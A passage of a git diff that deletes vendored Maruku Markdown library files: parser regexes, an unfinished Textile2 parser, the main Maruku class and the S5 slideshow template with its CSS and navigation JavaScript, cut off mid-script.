-	Abbreviation = %r{
-		^  # begin of line
-		[ ]{0,3} # up to 3 spaces
-		\* # one asterisk
-		\[ # opening bracket
-		([^\]]+) # any non-closing bracket:  id = $1
-		\] # closing bracket
-		:  # colon
-		\s* # whitespace
-		(\S.*\S)* #           definition=$2
-		\s* # strip this whitespace
-		$   # end of line
-	}x
-
-	FootnoteText = %r{
-		^  # begin of line
-		[ ]{0,3} # up to 3 spaces
-		\[(\^.+)\]: # id = $1 (including '^')
-		\s*(\S.*)?$    # text = $2 (not obb.)
-	}x
-
-	# This regex is taken from BlueCloth sources
-	# Link defs are in the form: ^[id]: \n? url "optional title"
-	LinkRegex = %r{
-		^[ ]{0,3}\[([^\[\]]+)\]:		# id = $1
-		  [ ]*
-		<?([^>\s]+)>?				# url = $2
-		  [ ]*
-		(?: # Titles are delimited by "quotes" or (parens).
-			(?:(?:"([^"]+)")|(?:'([^']+)')|(?:\(([^\(\)]+)\))) # title = $3, $4, or $5
-			\s*(.+)? # stuff = $6
-		)?	# title is optional
-	  }x
-
-	IncompleteLink = %r{^[ ]{0,3}\[([^\[\]]+?)\]:\s*$}
-
-	HeaderWithId = /^(.*?)\{\#([\w_-]+)\}\s*$/
-
-	HeaderWithAttributes = /^(.*?)\{(.*?)\}\s*$/
-
-
-	# if contains a pipe, it could be a table header
-	MightBeTableHeader = %r{\|}
-	# -------------:
-	Sep = /\s*(\:)?\s*-+\s*(\:)?\s*/
-	# | -------------:| ------------------------------ |
-	TableSeparator = %r{^(\|?#{Sep}\|?)+?\s*$}
-
-
-	EMailAddress = /<([^:@>]+?@[^:@>]+?)>/
-end end
diff --git a/vendor/plugins/maruku/lib/maruku/input_textile2/t2_parser.rb b/vendor/plugins/maruku/lib/maruku/input_textile2/t2_parser.rb
deleted file mode 100644
index 9ca2fd9b..00000000
--- a/vendor/plugins/maruku/lib/maruku/input_textile2/t2_parser.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-class String
-	Textile2_EmptyLine = /^\s*$/
-	Textile2_Signature = /^(\S+\.?)\.\s(.*)/
-
-	def t2_empty?
-		self =~ Textile2_EmptyLine
-	end
-	
-	def t2_contains_signature?
-		self =~ Textile2_Signature
-	end
-	
-	# sig, rest = t2_get_signature
-	def t2_get_signature
-		self =~ Textile2_Signature
-		return Textile2Signature.new($1), $2
-	end
-end
-
-class Textile2Signature	
-	Reg = %r{
-		^
-		# block name is 1
-		([A-Za-z0-9]+)? 
-		# style is 2
-		(
-		 \{     # open bracket
-		   ([^\}]+) # style spec is 3   
-		 \}     # close bracket
-		)?      
-		# language is 4
-		(\[(\w+)\])? # value is 5
-		# class and id 
-		(?:
-		 \(     # open par
-		   (\w+)?   # optional class specification is 6
-		   (?:\#(\w+))?  # optional id is 7
-		 \)     # close par
-		)?      
-		# alignment is 8
-		(\<|\>|\<\>|\=)?
-		# padding 
-		(\(+)? # left is 9
-		(\)+)? # right is 10
-		# filters is 11
-		(\|      
-			(?:(?:\w+)\|)+
-		)?
-		# optional final dot is 12
-		(\.)?   
-		$
-	}x
-	
-	
-	def initialize(s)
-		if m = Reg.match(s)
-			self.block_name = m[1]
-			self.style = m[3]
-			self.lang = m[4]
-			self.css_class = m[6]
-			self.css_id = m[7]
-			self.text_align = {nil=>nil,'>'=>'right','<'=>'left',
-				'<>'=>'center','='=>'justified'}[m[8]]
-			self.num_left_pad = m[9] && m[9].size
-			self.num_right_pad = m[10] && m[10].size
-			self.filters = m[11] && m[11].split('|')
-			self.double_dot = m[12] && true
-		end
-	end
-	
-	
-	attr_accessor :block_name # or nil
-	attr_accessor :style # or nil
-	attr_accessor :lang  # or nil
-	attr_accessor :css_class # or nil
-	attr_accessor :css_id # or nil
-	attr_accessor :text_align # {nil, 'left', 'right', 'center', 'justified'}
-	attr_accessor :num_left_pad # nil or 1..
-	attr_accessor :num_right_pad # nil or 1..
-	attr_accessor :filters # nil [], array of strings
-	attr_accessor :double_dot # nil or true
-	
-	
-end
-
-module MaRuKu
-	
-	def self.textile2(source, params)
-		m = Maruku.new
-		m.t2_parse(source, params)
-	end
-	
-	
-	class MDDocument
-		def t2_parse(source, params)
-			src = LineSource.new(source)
-			output = BlockContext.new
-			t2_parse_blocks(src, output)
-			self.children = output.elements
-		end
-		
-		Handling = Struct.new(:method, :parse_lines)
-		T2_Handling = {
-			nil => Handling.new(:t2_block_paragraph, true),
-			'p' => Handling.new(:t2_block_paragraph, true)
-		}
-		
-		# Input is a LineSource
-		def t2_parse_blocks(src, output)
-			while src.cur_line
-				l = src.shift_line
-				
-				# ignore empty line
-				if l.t2_empty? then 
-					src.shift_line
-					next 
-				end
-				
-				# TODO: lists
-				# TODO: xml
-				# TODO: `==`
-
-				signature, l =
-					if l.t2_contains_signature?
-						l.t2_get_signature
-					else
-						[Textile2Signature.new, l]
-					end
-
-				if handling = T2_Handling.has_key?(signature.block_name)
-					if self.responds_to? handling.method
-						# read as many non-empty lines that you can
-						lines = [l]
-						if handling.parse_lines
-							while not src.cur_line.t2_empty?
-								lines.push src.shift_line
-							end
-						end
-					
-						self.send(handling.method, src, output, signature, lines)
-					else
-						maruku_error("We don't know about method #{handling.method.inspect}")
-						next
-					end
-				end
-				
-				
-			end
-		end
-		
-		def t2_block_paragraph(src, output, signature, lines)
-			paragraph = lines.join("\n")
-			src2 = CharSource.new(paragraph, src)
-#			output = 
-		end
-		
-		def t2_parse_span(src, output)
-			
-		end
-		
-	end # MDDocument
-	
-end
\ No newline at end of file
diff --git a/vendor/plugins/maruku/lib/maruku/maruku.rb b/vendor/plugins/maruku/lib/maruku/maruku.rb
deleted file mode 100644
index 1256ed7c..00000000
--- a/vendor/plugins/maruku/lib/maruku/maruku.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-# The public interface for Maruku.
-#
-# @example Render a document fragment
-# Maruku.new("## Header ##").to_html
-# # => "<h2 id='header'>header</h2>"
-class Maruku < MaRuKu::MDDocument
-  def initialize(s = nil, meta = {})
-    super(nil)
-    self.attributes.merge! meta
-    parse_doc(s) if s
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/output/s5/fancy.rb b/vendor/plugins/maruku/lib/maruku/output/s5/fancy.rb
deleted file mode 100644
index 977bb532..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/s5/fancy.rb
+++ /dev/null
@@ -1,756 +0,0 @@
-module MaRuKu
-	S5_external =<<EOF
-	
-	<meta name="defaultView" content="slideshow" />
-	<meta name="controlVis" content="hidden" />
-	<link rel="stylesheet" href="ui/default/slides.css" type="text/css" media="projection" id="slideProj" />
-	<link rel="stylesheet" href="ui/default/outline.css" type="text/css" media="screen" id="outlineStyle" />
-	<link rel="stylesheet" href="ui/default/print.css" type="text/css" media="print" id="slidePrint" />
-	<link rel="stylesheet" href="ui/default/opera.css" type="text/css" media="projection" id="operaFix" />
-	<script src="ui/default/slides.js" type="text/javascript"> </script>
-EOF
-
-
-	S5_Fancy =<<EOF
-
-<meta name="defaultView" content="slideshow" />
-<meta name="controlVis" content="hidden" />
-<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-<style type="text/css" media="projection" id="slideProj">
-/* Do not edit or override these styles! The system will likely break if you do. */
-
-div#header, div#footer, div#controls, .slide {position: absolute;}
-html>body div#header, html>body div#footer, 
-  html>body div#controls, html>body .slide {position: fixed;}
-.handout {display: none;}
-.layout {display: block;}
-.slide, .hideme, .incremental {visibility: hidden;}
-#slide0 {visibility: visible;}
-
-/* The following styles size, place, and layer the slide components.
-   Edit these if you want to change the overall slide layout.
-   The commented lines can be uncommented (and modified, if necessary) 
-    to help you with the rearrangement process. */
-
-/* target = 1024x768 */
-
-div#header, div#footer, .slide {width: 100%; top: 0; left: 0;}
-div#header {top: 0; height: 3em; z-index: 1;}
-div#footer {top: auto; bottom: 0; height: 2.5em; z-index: 5;}
-.slide {top: 0; width: 92%; padding: 3.5em 4% 4%; z-index: 2;  list-style: none;}
-div#controls {left: 50%; bottom: 0; width: 50%; z-index: 100;}
-div#controls form {position: absolute; bottom: 0; right: 0; width: 100%;
-  margin: 0;}
-#currentSlide {position: absolute; width: 10%; left: 45%; bottom: 1em; z-index: 10;}
-html>body #currentSlide {position: fixed;}
-
-/*
-div#header {background: #FCC;}
-div#footer {background: #CCF;}
-div#controls {background: #BBD;}
-div#currentSlide {background: #FFC;}
-*/
-
-/* Following are the presentation styles -- edit away! */
-
-body {background: #FFF url(bodybg.gif) -16px 0 no-repeat; color: #000; font-size: 2em;}
-:link, :visited {text-decoration: none; color: #00C;}
-#controls :active {color: #88A !important;}
-#controls :focus {outline: 1px dotted #227;}
-h1, h2, h3, h4 {font-size: 100%; margin: 0; padding: 0; font-weight: inherit;}
-ul, pre {margin: 0; line-height: 1em;}
-html, body {margin: 0; padding: 0;}
-
-blockquote, q {font-style: italic;}
-blockquote {padding: 0 2em 0.5em; margin: 0 1.5em 0.5em; text-align: center; font-size: 1em;}
-blockquote p {margin: 0;}
-blockquote i {font-style: normal;}
-blockquote b {display: block; margin-top: 0.5em; font-weight: normal; font-size: smaller; font-style: normal;}
-blockquote b i {font-style: italic;}
-
-kbd {font-weight: bold; font-size: 1em;}
-sup {font-size: smaller; line-height: 1px;}
-
-.slide code {padding: 2px 0.25em; font-weight: bold; color: #533;}
-.slide code.bad, code del {color: red;}
-.slide code.old {color: silver;}
-.slide pre {padding: 0; margin: 0.25em 0 0.5em 0.5em; color: #533; font-size: 90%;}
-.slide pre code {display: block;}
-.slide ul {margin-left: 5%; margin-right: 7%; list-style: disc;}
-.slide li {margin-top: 0.75em; margin-right: 0;}
-.slide ul ul {line-height: 1;}
-.slide ul ul li {margin: .2em; font-size: 85%; list-style: square;}
-.slide img.leader {display: block; margin: 0 auto;}
-
-div#header, div#footer {background: #005; color: #AAB;
-  font-family: Verdana, Helvetica, sans-serif;}
-div#header {background: #005 url(bodybg.gif) -16px 0 no-repeat;
-  line-height: 1px;}
-div#footer {font-size: 0.5em; font-weight: bold; padding: 1em 0;}
-#footer h1, #footer h2 {display: block; padding: 0 1em;}
-#footer h2 {font-style: italic;}
-
-div.long {font-size: 0.75em;}
-.slide h1 {position: absolute; top: 0.7em; left: 87px; z-index: 1;
-  margin: 0; padding: 0.3em 0 0 50px; white-space: nowrap;
-  font: bold 150%/1em Helvetica, sans-serif; text-transform: capitalize;
-  color: #DDE; background: #005;}
-.slide h3 {font-size: 130%;}
-h1 abbr {font-variant: small-caps;}
-
-div#controls {position: absolute; left: 50%; bottom: 0;
-  width: 50%;
-  text-align: right; font: bold 0.9em Verdana, Helvetica, sans-serif;}
-html>body div#controls {position: fixed; padding: 0 0 1em 0;
-  top: auto;}
-div#controls form {position: absolute; bottom: 0; right: 0; width: 100%;
-  margin: 0; padding: 0;}
-#controls #navLinks a {padding: 0; margin: 0 0.5em; 
-  background: #005; border: none; color: #779; 
-  cursor: pointer;}
-#controls #navList {height: 1em;}
-#controls #navList #jumplist {position: absolute; bottom: 0; right: 0; background: #DDD; color: #227;}
-
-#currentSlide {text-align: center; font-size: 0.5em; color: #449;}
-
-#slide0 {padding-top: 3.5em; font-size: 90%;}
-#slide0 h1 {position: static; margin: 1em 0 0; padding: 0;
-   font: bold 2em Helvetica, sans-serif; white-space: normal;
-   color: #000; background: transparent;}
-#slide0 h2 {font: bold italic 1em Helvetica, sans-serif; margin: 0.25em;}
-#slide0 h3 {margin-top: 1.5em; font-size: 1.5em;}
-#slide0 h4 {margin-top: 0; font-size: 1em;}
-
-ul.urls {list-style: none; display: inline; margin: 0;}
-.urls li {display: inline; margin: 0;}
-.note {display: none;}
-.external {border-bottom: 1px dotted gray;}
-html>body .external {border-bottom: none;}
-.external:after {content: " \274F"; font-size: smaller; color: #77B;}
-
-.incremental, .incremental *, .incremental *:after {color: #DDE; visibility: visible;}
-img.incremental {visibility: hidden;}
-.slide .current {color: #B02;}
-
-
-/* diagnostics
-
-li:after {content: " [" attr(class) "]"; color: #F88;}
- */
-</style>
-<style type="text/css" media="projection" id="operaFix">
-/* DO NOT CHANGE THESE unless you really want to break Opera Show */
-.slide {
-	visibility: visible !important;
-	position: static !important;
-	page-break-before: always;
-}
-#slide0 {page-break-before: avoid;}
-
-</style>
-<style type="text/css" media="screen" id="outlineStyle">
-/* don't change this unless you want the layout stuff to show up in the outline view! */
-
-.layout div, #footer *, #controlForm * {display: none;}
-#footer, #controls, #controlForm, #navLinks, #toggle {
-  display: block; visibility: visible; margin: 0; padding: 0;}
-#toggle {float: right; padding: 0.5em;}
-html>body #toggle {position: fixed; top: 0; right: 0;}
-
-/* making the outline look pretty-ish */
-
-#slide0 h1, #slide0 h2, #slide0 h3, #slide0 h4 {border: none; margin: 0;}
-#slide0 h1 {padding-top: 1.5em;}
-.slide h1 {margin: 1.5em 0 0; padding-top: 0.25em;
-  border-top: 1px solid #888; border-bottom: 1px solid #AAA;}
-#toggle {border: 1px solid; border-width: 0 0 1px 1px; background: #FFF;}
-
-</style>
-<style type="text/css" media="print" id="slidePrint">
-/* The following rule is necessary to have all slides appear in print! DO NOT REMOVE IT! */
-.slide, ul {page-break-inside: avoid; visibility: visible !important;}
-h1 {page-break-after: avoid;}
-
-body {font-size: 12pt; background: white;}
-* {color: black;}
-
-#slide0 h1 {font-size: 200%; border: none; margin: 0.5em 0 0.25em;}
-#slide0 h3 {margin: 0; padding: 0;}
-#slide0 h4 {margin: 0 0 0.5em; padding: 0;}
-#slide0 {margin-bottom: 3em;}
-
-h1 {border-top: 2pt solid gray; border-bottom: 1px dotted silver;}
-.extra {background: transparent !important;}
-div.extra, pre.extra, .example {font-size: 10pt; color: #333;}
-ul.extra a {font-weight: bold;}
-p.example {display: none;}
-
-#header {display: none;}
-#footer h1 {margin: 0; border-bottom: 1px solid; color: gray; font-style: italic;}
-#footer h2, #controls {display: none;}
-
-/* The following rule keeps the layout stuff out of print.  Remove at your own risk! */
-.layout, .layout * {display: none !important;}
-
-</style>
-<script type="text/javascript">
-<![CDATA[
-// S5 v1.1 slides.js -- released into the Public Domain
-//
-// Please see http://www.meyerweb.com/eric/tools/s5/credits.html for information 
-// about all the wonderful and talented contributors to this code!
-
-var undef;
-var slideCSS = '';
-var snum = 0;
-var smax = 1;
-var incpos = 0;
-var number = undef;
-var s5mode = true;
-var defaultView = 'slideshow';
-var controlVis = 'visible';
-
-var isIE = navigator.appName == 'Microsoft Internet Explorer' && navigator.userAgent.indexOf('Opera') < 1 ? 1 : 0;
-var isOp = navigator.userAgent.indexOf('Opera') > -1 ? 1 : 0;
-var isGe = navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('Safari') < 1 ? 1 : 0;
-
-function hasClass(object, className) {
-	if (!object.className) return false;
-	return (object.className.search('(^|\\s)' + className + '(\\s|$)') != -1);
-}
-
-function hasValue(object, value) {
-	if (!object) return false;
-	return (object.search('(^|\\s)' + value + '(\\s|$)') != -1);
-}
-
-function removeClass(object,className) {
-	if (!object) return;
-	object.className = object.className.replace(new RegExp('(^|\\s)'+className+'(\\s|$)'), RegExp.$1+RegExp.$2);
-}
-
-function addClass(object,className) {
-	if (!object || hasClass(object, className)) return;
-	if (object.className) {
-		object.className += ' '+className;
-	} else {
-		object.className = className;
-	}
-}
-
-function GetElementsWithClassName(elementName,className) {
-	var allElements = document.getElementsByTagName(elementName);
-	var elemColl = new Array();
-	for (var i = 0; i< allElements.length; i++) {
-		if (hasClass(allElements[i], className)) {
-			elemColl[elemColl.length] = allElements[i];
-		}
-	}
-	return elemColl;
-}
-
-function isParentOrSelf(element, id) {
-	if (element == null || element.nodeName=='BODY') return false;
-	else if (element.id == id) return true;
-	else return isParentOrSelf(element.parentNode, id);
-}
-
-function nodeValue(node) {
-	var result = "";
-	if (node.nodeType == 1) {
-		var children = node.childNodes;
-		for (var i = 0; i < children.length; ++i) {
-			result += nodeValue(children[i]);
-		}		
-	}
-	else if (node.nodeType == 3) {
-		result = node.nodeValue;
-	}
-	return(result);
-}
-
-function slideLabel() {
-	var slideColl = GetElementsWithClassName('*','slide');
-	var list = document.getElementById('jumplist');
-	smax = slideColl.length;
-	for (var n = 0; n < smax; n++) {
-		var obj = slideColl[n];
-
-		var did = 'slide' + n.toString();
-		obj.setAttribute('id',did);
-		if (isOp) continue;
-
-		var otext = '';
-		var menu = obj.firstChild;
-		if (!menu) continue; // to cope with empty slides
-		while (menu && menu.nodeType == 3) {
-			menu = menu.nextSibling;
-		}
-	 	if (!menu) continue; // to cope with slides with only text nodes
-
-		var menunodes = menu.childNodes;
-		for (var o = 0; o < menunodes.length; o++) {
-			otext += nodeValue(menunodes[o]);
-		}
-		list.options[list.length] = new Option(n + ' : '  + otext, n);
-	}
-}
-
-function currentSlide() {
-	var cs;
-	if (document.getElementById) {
-		cs = document.getElementById('currentSlide');
-	} else {
-		cs = document.currentSlide;
-	}
-	cs.innerHTML = '<span id="csHere">' + snum + '<\/span> ' + 
-		'<span id="csSep">\/<\/span> ' + 
-		'<span id="csTotal">' + (smax-1) + '<\/span>';
-	if (snum == 0) {
-		cs.style.visibility = 'hidden';
-	} else {
-		cs.style.visibility = 'visible';
-	}
-}
-
-function go(step) {
-	if (document.getElementById('slideProj').disabled || step == 0) return;
-	var jl = document.getElementById('jumplist');
-	var cid = 'slide' + snum;
-	var ce = document.getElementById(cid);
-	if (incrementals[snum].length > 0) {
-		for (var i = 0; i < incrementals[snum].length; i++) {
-			removeClass(incrementals[snum][i], 'current');
-			removeClass(incrementals[snum][i], 'incremental');
-		}
-	}
-	if (step != 'j') {
-		snum += step;
-		lmax = smax - 1;
-		if (snum > lmax) snum = lmax;
-		if (snum < 0) snum = 0;
-	} else
-		snum = parseInt(jl.value);
-	var nid = 'slide' + snum;
-	var ne = document.getElementById(nid);
-	if (!ne) {
-		ne = document.getElementById('slide0');
-		snum = 0;
-	}
-	if (step < 0) {incpos = incrementals[snum].length} else {incpos = 0;}
-	if (incrementals[snum].length > 0 && incpos == 0) {
-		for (var i = 0; i < incrementals[snum].length; i++) {
-			if (hasClass(incrementals[snum][i], 'current'))
-				incpos = i + 1;
-			else
-				addClass(incrementals[snum][i], 'incremental');
-		}
-	}
-	if (incrementals[snum].length > 0 && incpos > 0)
-		addClass(incrementals[snum][incpos - 1], 'current');
-	ce.style.visibility = 'hidden';
-	ne.style.visibility = 'visible';
-	jl.selectedIndex = snum;
-	currentSlide();
-	number = 0;
-}
-
-function goTo(target) {
-	if (target >= smax || target == snum) return;
-	go(target - snum);
-}
-
-function subgo(step) {
-	if (step > 0) {
-		removeClass(incrementals[snum][incpos - 1],'current');
-		removeClass(incrementals[snum][incpos], 'incremental');
-		addClass(incrementals[snum][incpos],'current');
-		incpos++;
-	} else {
-		incpos--;
-		removeClass(incrementals[snum][incpos],'current');
-		addClass(incrementals[snum][incpos], 'incremental');
-		addClass(incrementals[snum][incpos - 1],'current');
-	}
-}
-
-function toggle() {
-	var slideColl = GetElementsWithClassName('*','slide');
-	var slides = document.getElementById('slideProj');
-	var outline = document.getElementById('outlineStyle');
-	if (!slides.disabled) {
-		slides.disabled = true;
-		outline.disabled = false;
-		s5mode = false;
-		fontSize('1em');
-		for (var n = 0; n < smax; n++) {
-			var slide = slideColl[n];
-			slide.style.visibility = 'visible';
-		}
-	} else {
-		slides.disabled = false;
-		outline.disabled = true;
-		s5mode = true;
-		fontScale();
-		for (var n = 0; n < smax; n++) {
-			var slide = slideColl[n];
-			slide.style.visibility = 'hidden';
-		}
-		slideColl[snum].style.visibility = 'visible';
-	}
-}
-
-function showHide(action) {
-	var obj = GetElementsWithClassName('*','hideme')[0];
-	switch (action) {
-	case 's': obj.style.visibility = 'visible'; break;
-	case 'h': obj.style.visibility = 'hidden'; break;
-	case 'k':
-		if (obj.style.visibility != 'visible') {
-			obj.style.visibility = 'visible';
-		} else {
-			obj.style.visibility = 'hidden';
-		}
-	break;
-	}
-}
-
-// 'keys' code adapted from MozPoint (http://mozpoint.mozdev.org/)
-function keys(key) {
-	if (!key) {
-		key = event;
-		key.which = key.keyCode;
-	}
-	if (key.which == 84) {
-		toggle();
-		return;
-	}
-	if (s5mode) {
-		switch (key.which) {
-			case 10: // return
-			case 13: // enter
-				if (window.event && isParentOrSelf(window.event.srcElement, 'controls')) return;
-				if (key.target && isParentOrSelf(key.target, 'controls')) return;
-				if(number != undef) {
-					goTo(number);
-					break;
-				}
-			case 32: // spacebar
-			case 34: // page down
-			case 39: // rightkey
-			case 40: // downkey
-				if(number != undef) {
-					go(number);
-				} else if (!incrementals[snum] || incpos >= incrementals[snum].length) {
-					go(1);
-				} else {
-					subgo(1);
-				}
-				break;
-			case 33: // page up
-			case 37: // leftkey
-			case 38: // upkey
-				if(number != undef) {
-					go(-1 * number);
-				} else if (!incrementals[snum] || incpos <= 0) {
-					go(-1);
-				} else {
-					subgo(-1);
-				}
-				break;
-			case 36: // home
-				goTo(0);
-				break;
-			case 35: // end
-				goTo(smax-1);
-				break;
-			case 67: // c
-				showHide('k');
-				break;
-		}
-		if (key.which < 48 || key.which > 57) {
-			number = undef;
-		} else {
-			if (window.event && isParentOrSelf(window.event.srcElement, 'controls')) return;
-			if (key.target && isParentOrSelf(key.target, 'controls')) return;
-			number = (((number != undef) ? number : 0) * 10) + (key.which - 48);
-		}
-	}
-	return false;
-}
-
-function clicker(e) {
-	number = undef;
-	var target;
-	if (window.event) {
-		target = window.event.srcElement;
-		e = window.event;
-	} else target = e.target;
-	if (target.getAttribute('href') != null || hasValue(target.rel, 'external') || isParentOrSelf(target, 'controls') || isParentOrSelf(target,'embed') || isParentOrSelf(target,'object')) return true;
-	if (!e.which || e.which == 1) {
-		if (!incrementals[snum] || incpos >= incrementals[snum].length) {
-			go(1);
-		} else {
-			subgo(1);
-		}
-	}
-}
-
-function findSlide(hash) {
-	var target = null;
-	var slides = GetElementsWithClassName('*','slide');
-	for (var i = 0; i < slides.length; i++) {
-		var targetSlide = slides[i];
-		if ( (targetSlide.name && targetSlide.name == hash)
-		 || (targetSlide.id && targetSlide.id == hash) ) {
-			target = targetSlide;
-			break;
-		}
-	}
-	while(target != null && target.nodeName != 'BODY') {
-		if (hasClass(target, 'slide')) {
-			return parseInt(target.id.slice(5));
-		}
-		target = target.parentNode;
-	}
-	return null;
-}
-
-function slideJump() {
-	if (window.location.hash == null) return;
-	var sregex = /^#slide(\d+)$/;
-	var matches = sregex.exec(window.location.hash);
-	var dest = null;
-	if (matches != null) {
-		dest = parseInt(matches[1]);
-	} else {
-		dest = findSlide(window.location.hash.slice(1));
-	}
-	if (dest != null)
-		go(dest - snum);
-}
-
-function fixLinks() {
-	var thisUri = window.location.href;
-	thisUri = thisUri.slice(0, thisUri.length - window.location.hash.length);
-	var aelements = document.getElementsByTagName('A');
-	for (var i = 0; i < aelements.length; i++) {
-		var a = aelements[i].href;
-		var slideID = a.match('\#slide[0-9]{1,2}');
-		if ((slideID) && (slideID[0].slice(0,1) == '#')) {
-			var dest = findSlide(slideID[0].slice(1));
-			if (dest != null) {
-				if (aelements[i].addEventListener) {
-					aelements[i].addEventListener("click", new Function("e",
-						"if (document.getElementById('slideProj').disabled) return;" +
-						"go("+dest+" - snum); " +
-						"if (e.preventDefault) e.preventDefault();"), true);
-				} else if (aelements[i].attachEvent) {
-					aelements[i].attachEvent("onclick", new Function("",
-						"if (document.getElementById('slideProj').disabled) return;" +
-						"go("+dest+" - snum); " +
-						"event.returnValue = false;"));
-				}
-			}
-		}
-	}
-}
-
-function externalLinks() {
-	if (!document.getElementsByTagName) return;
-	var anchors = document.getElementsByTagName('a');
-	for (var i=0; i<anchors.length; i++) {
-		var anchor = anchors[i];
-		if (anchor.getAttribute('href') && hasValue(anchor.rel, 'external')) {
-			anchor.target = '_blank';
-			addClass(anchor,'external');
-		}
-	}
-}
-
-function createControls() {
-	var controlsDiv = document.getElementById("controls");
-	if (!controlsDiv) return;
-	var hider = ' onmouseover="showHide(\'s\');" onmouseout="showHide(\'h\');"';
-	var hideDiv, hideList = '';
-	if (controlVis == 'hidden') {
-		hideDiv = hider;
-	} else {
-		hideList = hider;
-	}
-	controlsDiv.innerHTML = '<form action="#" id="controlForm"' + hideDiv + '>' +
-	'<div id="navLinks">' +
-	'<a accesskey="t" id="toggle" href="javascript:toggle();">&#216;<\/a>' +
-	'<a accesskey="z" id="prev" href="javascript:go(-1);">&laquo;<\/a>' +
-	'<a accesskey="x" id="next" href="javascript:go(1);">&raquo;<\/a>' +
-	'<div id="navList"' + hideList + '><select id="jumplist" onchange="go(\'j\');"><\/select><\/div>' +
-	'<\/div><\/form>';
-	if (controlVis == 'hidden') {
-		var hidden = document.getElementById('navLinks');
-	} else {
-		var hidden = document.getElementById('jumplist');
-	}
-	addClass(hidden,'hideme');
-}
-
-function fontScale() {  // causes layout problems in FireFox that get fixed if browser's Reload is used; same may be true of other Gecko-based browsers
-	if (!s5mode) return false;
-	var vScale = 22;  // both yield 32 (after rounding) at 1024x768
-	var hScale = 32;  // perhaps should auto-calculate based on theme's declared value?
-	if (window.innerHeight) {
-		var vSize = window.innerHeight;
-		var hSize = window.innerWidth;
-	} else if (document.documentElement.clientHeight) {
-		var vSize = document.documentElement.clientHeight;
-		var hSize = document.documentElement.clientWidth;
-	} else if (document.body.clientHeight) {
-		var vSize = document.body.clientHeight;
-		var hSize = document.body.clientWidth;
-	} else {
-		var vSize = 700;  // assuming 1024x768, minus chrome and such
-		var hSize = 1024; // these do not account for kiosk mode or Opera Show
-	}
-	var newSize = Math.min(Math.round(vSize/vScale),Math.round(hSize/hScale));
-	fontSize(newSize + 'px');
-	if (isGe) {  // hack to counter incremental reflow bugs
-		var obj = document.getElementsByTagName('body')[0];
-		obj.style.display = 'none';
-		obj.style.display = 'block';
-	}
-}
-
-function fontSize(value) {
-	if (!(s5ss = document.getElementById('s5ss'))) {
-		if (!isIE) {
-			document.getElementsByTagName('head')[0].appendChild(s5ss = document.createElement('style'));
-			s5ss.setAttribute('media','screen, projection');
-			s5ss.setAttribute('id','s5ss');
-		} else {
-			document.createStyleSheet();
-			document.s5ss = document.styleSheets[document.styleSheets.length - 1];
-		}
-	}
-	if (!isIE) {
-		while (s5ss.lastChild) s5ss.removeChild(s5ss.lastChild);
-		s5ss.appendChild(document.createTextNode('body {font-size: ' + value + ' !important;}'));
-	} else {
-		document.s5ss.addRule('body','font-size: ' + value + ' !important;');
-	}
-}
-
-function notOperaFix() {
-	slideCSS = document.getElementById('slideProj').href;
-	var slides = document.getElementById('slideProj');
-	var outline = document.getElementById('outlineStyle');
-	slides.setAttribute('media','screen');
-	outline.disabled = true;
-	if (isGe) {
-		slides.setAttribute('href','null');   // Gecko fix
-		slides.setAttribute('href',slideCSS); // Gecko fix
-	}
-	if (isIE && document.styleSheets && document.styleSheets[0]) {
-		document.styleSheets[0].addRule('img', 'behavior: url(ui/default/iepngfix.htc)');
-		document.styleSheets[0].addRule('div', 'behavior: url(ui/default/iepngfix.htc)');
-		document.styleSheets[0].addRule('.slide', 'behavior: url(ui/default/iepngfix.htc)');
-	}
-}
-
-function getIncrementals(obj) {
-	var incrementals = new Array();
-	if (!obj) 
-		return incrementals;
-	var children = obj.childNodes;
-	for (var i = 0; i < children.length; i++) {
-		var child = children[i];
-		if (hasClass(child, 'incremental')) {
-			if (child.nodeName == 'OL' || child.nodeName == 'UL') {
-				removeClass(child, 'incremental');
-				for (var j = 0; j < child.childNodes.length; j++) {
-					if (child.childNodes[j].nodeType == 1) {
-						addClass(child.childNodes[j], 'incremental');
-					}
-				}
-			} else {
-				incrementals[incrementals.length] = child;
-				removeClass(child,'incremental');
-			}
-		}
-		if (hasClass(child, 'show-first')) {
-			if (child.nodeName == 'OL' || child.nodeName == 'UL') {
-				removeClass(child, 'show-first');
-				if (child.childNodes[isGe].nodeType == 1) {
-					removeClass(child.childNodes[isGe], 'incremental');
-				}
-			} else {
-				incrementals[incrementals.length] = child;
-			}
-		}
-		incrementals = incrementals.concat(getIncrementals(child));
-	}
-	return incrementals;
-}
-
-function createIncrementals() {
-	var incrementals = new Array();
-	for (var i = 0; i < smax; i++) {
-		incrementals[i] = getIncrementals(document.getElementById('slide'+i));
-	}
-	return incrementals;
-}
-
-function defaultCheck() {
-	var allMetas = document.getElementsByTagName('meta');
-	for (var i = 0; i< allMetas.length; i++) {
-		if (allMetas[i].name == 'defaultView') {
-			defaultView = allMetas[i].content;
-		}
-		if (allMetas[i].name == 'controlVis') {
-			controlVis = allMetas[i].content;
-		}
-	}
-}
-
-// Key trap fix, new function body for trap()
-function trap(e) {
-	if (!e) {
-		e = event;
-		e.which = e.keyCode;
-	}
-	try {
-		modifierKey = e.ctrlKey || e.altKey || e.metaKey;
-	}
-	catch(e) {
-		modifierKey = false;
-	}
-	return modifierKey || e.which == 0;
-}
-
-function startup() {
-	defaultCheck();
-	if (!isOp) 
-		createControls();
-	slideLabel();
-	fixLinks();
-	externalLinks();
-	fontScale();
-	if (!isOp) {
-		notOperaFix();
-		incrementals = createIncrementals();
-		slideJump();
-		if (defaultView == 'outline') {
-			toggle();
-		}
-		document.onkeyup = keys;
-		document.onkeypress = trap;
